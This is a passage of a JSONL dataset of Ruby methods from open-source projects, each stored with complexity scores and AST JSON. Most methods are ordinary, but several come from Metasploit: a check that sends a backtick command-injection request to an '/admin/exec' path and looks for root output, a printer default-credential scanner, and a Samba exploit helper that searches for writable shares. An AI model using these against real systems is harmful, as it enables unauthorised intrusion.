end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/admin/exec/session+sfr+do+`id`\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"str\",\"children\":[\"ASDM/ Java/1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"The target did not respond to the check.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Authentication failed.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received unexpected HTTP status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Invalid do command uid=0(root)\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"Successfully executed the 'id' command.\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The command injection does not appear to work.\"]}]}]}]}","id":"d84c65e8-e053-406a-8b60-2444db0ae9ec"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/gitlab_secure_files.rb","start_line":116,"raw_source":"def currently_used_team_id\n        if self.readonly\n          # In readonly mode, we still want to see if the user provided a team_id\n          # see `prefixed_working_directory` comments for more details\n          return self.team_id\n        else\n          UI.user_error!(\"The `team_id` option is required. fastlane cannot automatically determine portal team id via the App Store Connect API (yet)\") if self.team_id.to_s.empty?\n\n          spaceship = SpaceshipEnsure.new(self.username, self.team_id, self.team_name, api_token)\n          return spaceship.team_id\n        end\n      end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"currently_used_team_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"readonly\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"team_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"team_id\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"The `team_id` option is required. fastlane cannot automatically determine portal team id via the App Store Connect API (yet)\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"spaceship\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpaceshipEnsure\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"team_name\"]},{\"type\":\"send\",\"children\":[null,\"api_token\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spaceship\"]},\"team_id\"]}]}]}]}]}","id":"42e8da0c-ca70-4fc3-a668-a65e49b1704d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/base_formatter.rb","start_line":65,"raw_source":"def imported_from\n        return ::Import::SOURCE_GITEA if project.gitea_import?\n        return ::Import::SOURCE_GITHUB if project.github_import?\n\n        ::Import::SOURCE_NONE\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"imported_from\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"gitea_import?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"SOURCE_GITEA\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"github_import?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"SOURCE_GITHUB\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"SOURCE_NONE\"]}]}]}","id":"b2937e0a-0d7c-46ec-a291-544bba73b030"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/diff_file_base_entity.rb","start_line":137,"raw_source":"def has_edit_path?(merge_request)\n    merge_request.merged? || merge_request.source_branch_exists?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_edit_path?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"merged?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"source_branch_exists?\"]}]}]}","id":"50ddf0bf-2ce5-4d97-8d0e-35103370a31a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/gitlab_blob_onebox.rb","start_line":29,"raw_source":"def raw_template(m)\n        \"https://gitlab.com/#{m[:user]}/#{m[:repo]}/raw/#{m[:sha1]}/#{m[:file]}\"\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://gitlab.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo\"]}]}]},{\"type\":\"str\",\"children\":[\"/raw/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sha1\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]}]}","id":"33f54850-927f-47b6-9291-4c32b560806f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/oki_scanner.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OKI Printer Default Login Credential Scanner',\n        'Description' => %q{\n          This module scans for OKI printers via SNMP, then tries to connect to found devices\n          with vendor default administrator credentials via HTTP authentication. By default, OKI\n          network printers use the last six digits of the MAC as admin password.\n        },\n        'Author' => 'antr6X <anthr6x[at]gmail.com>',\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SNMPPORT', [true, 'The SNMP Port', 161]),\n        OptPort.new('HTTPPORT', [true, 'The HTTP Port', 80])\n      ]\n    )\n\n    deregister_options('RPORT', 'VHOST')\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OKI Printer Default Login Credential Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module scans for OKI printers via SNMP, then tries to connect to found devices\\n\"]},{\"type\":\"str\",\"children\":[\"          with vendor default administrator credentials via HTTP authentication. By default, OKI\\n\"]},{\"type\":\"str\",\"children\":[\"          network printers use the last six digits of the MAC as admin password.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"antr6X <anthr6x[at]gmail.com>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SNMPPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SNMP Port\"]},{\"type\":\"int\",\"children\":[161]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTPPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP Port\"]},{\"type\":\"int\",\"children\":[80]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"str\",\"children\":[\"VHOST\"]}]}]}]}","id":"0f7b8816-4143-414e-b0c2-3bf1d3ecbc6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/kind/cluster.rb","start_line":67,"raw_source":"def create\n          log(\"Creating cluster '#{name}'\", :info, bright: true)\n          raise \"'kind' executable not found in PATH, please install it first!\" unless TTY::Which.exist?(\"kind\")\n          return log(\"cluster '#{name}' already exists, skipping!\", :warn) if cluster_exists?\n\n          create_cluster\n          update_server_url\n          install_metrics_server\n          log(\"Cluster '#{name}' created\", :success)\n        rescue Helpers::Shell::CommandFailure\n          # Exit cleanly without stacktrace if shell command fails\n          exit(1)\n        end","complexity_score":20.13,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating cluster '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bright\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"Which\"]},\"exist?\",{\"type\":\"str\",\"children\":[\"kind\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"'kind' executable not found in PATH, please install it first!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster_exists?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cluster '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"' already exists, skipping!\"]}]},{\"type\":\"sym\",\"children\":[\"warn\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_cluster\"]},{\"type\":\"send\",\"children\":[null,\"update_server_url\"]},{\"type\":\"send\",\"children\":[null,\"install_metrics_server\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cluster '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"' created\"]}]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helpers\"]},\"Shell\"]},\"CommandFailure\"]}]},null,{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}","id":"b581e71c-c2cd-4118-a248-3c1d3a449d23"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/recursive_denormalized_has_many_test.rb","start_line":159,"raw_source":"def include_idc_into_associated_record\n    AssociatedRecord.include(IdentityCache::WithoutPrimaryIndex)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"include_idc_into_associated_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"WithoutPrimaryIndex\"]}]}]}","id":"6d7746c1-42b7-4293-bb00-851713e60037"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/chat.rb","start_line":66,"raw_source":"def format_messages(messages)\n          messages.map do |msg|\n            {\n              role: format_role(msg.role),\n              content: Media.format_content(msg.content),\n              tool_calls: format_tool_calls(msg.tool_calls),\n              tool_call_id: msg.tool_call_id\n            }.compact\n          end\n        end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"send\",\"children\":[null,\"format_role\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"role\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Media\"]},\"format_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_calls\"]},{\"type\":\"send\",\"children\":[null,\"format_tool_calls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"tool_calls\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_call_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"tool_call_id\"]}]}]},\"compact\"]}]}]}","id":"c4208827-d061-4583-b304-e68deba18fe7"}
{"repo_name":"pundit","file_path":"./repos/pundit/spec/support/policies/base_policy.rb","start_line":17,"raw_source":"def initialize(user, record)\n    @user = user\n    @record = record\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}","id":"2cfb8766-2cc3-420c-9b91-b6607dc01609"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_json/viewpoint_reader.rb","start_line":59,"raw_source":"def remove_keys(hash)\n        hash.delete \"xmlns:xsi\"\n        hash.delete \"xmlns:xsd\"\n        hash.delete \"VisualizationInfo\" unless hash[\"VisualizationInfo\"]\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"str\",\"children\":[\"xmlns:xsi\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"str\",\"children\":[\"xmlns:xsd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VisualizationInfo\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"str\",\"children\":[\"VisualizationInfo\"]}]}]}]}]}","id":"8bac4b4f-9505-4b30-b338-562f43c67ee3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/jobs/internal/account_analysis_job.rb","start_line":4,"raw_source":"def perform(account)\n    return unless ChatwootApp.chatwoot_cloud?\n\n    Internal::AccountAnalysis::ThreatAnalyserService.new(account).perform\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootApp\"]},\"chatwoot_cloud?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Internal\"]},\"AccountAnalysis\"]},\"ThreatAnalyserService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},\"perform\"]}]}]}","id":"79397d17-3c26-4d4d-be62-e77c3a910b3b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb","start_line":186,"raw_source":"def find_writeable_path(share)\n    subdirs = enumerate_directories(share)\n    return unless subdirs\n\n    if !datastore['SMB_FOLDER'].to_s.empty?\n      subdirs.unshift(datastore['SMB_FOLDER'])\n    end\n\n    subdirs.each do |subdir|\n      next unless verify_writeable_directory(share, subdir)\n\n      return subdir\n    end\n\n    nil\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_writeable_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"share\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subdirs\",{\"type\":\"send\",\"children\":[null,\"enumerate_directories\",{\"type\":\"lvar\",\"children\":[\"share\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdirs\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB_FOLDER\"]}]},\"to_s\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdirs\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB_FOLDER\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subdir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_writeable_directory\",{\"type\":\"lvar\",\"children\":[\"share\"]},{\"type\":\"lvar\",\"children\":[\"subdir\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdir\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"5e3103f5-5d41-43e5-a70f-7d0f5d99b602"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_usage_serializer.rb","start_line":12,"raw_source":"def period\n    object.guess_period\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"period\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"guess_period\"]}]}","id":"8262cf1e-78ee-4685-a88d-d4877a34e26c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/support/components/file_picker_dialog.rb","start_line":58,"raw_source":"def wait_for_folder_loaded\n      page.within(container) do\n        expect(page).to have_no_css('[data-test-selector=\"op-file-list--loading-indicator\"]')\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_folder_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-file-list--loading-indicator\\\"]\"]}]}]}]}]}","id":"863f6fe2-39fd-4e4b-8937-2e1cef1fd2e2"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/spec/features/checkout_steps_spec.rb","start_line":635,"raw_source":"def login_from_checkout\n    visit \"/checkout/#{order.token}\"\n    click_on 'Login'\n    fill_in 'user_email', with: user.email\n    fill_in 'user_password', with: user.password\n    click_button 'login-button'\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"login_from_checkout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/checkout/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Login\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"email\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"login-button\"]}]}]}]}","id":"609542b9-1ee4-40a6-8cae-7bd0f0848419"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/js_fiddle_tag.rb","start_line":50,"raw_source":"def valid_link?(link)\n    link_no_space = link.delete(\" \")\n    (link_no_space =~ REGISTRY_REGEXP).zero?\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_link?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_no_space\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_no_space\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]}]}]},\"zero?\"]}]}]}","id":"8352aef4-bf2b-4510-b520-2772340728d3"}
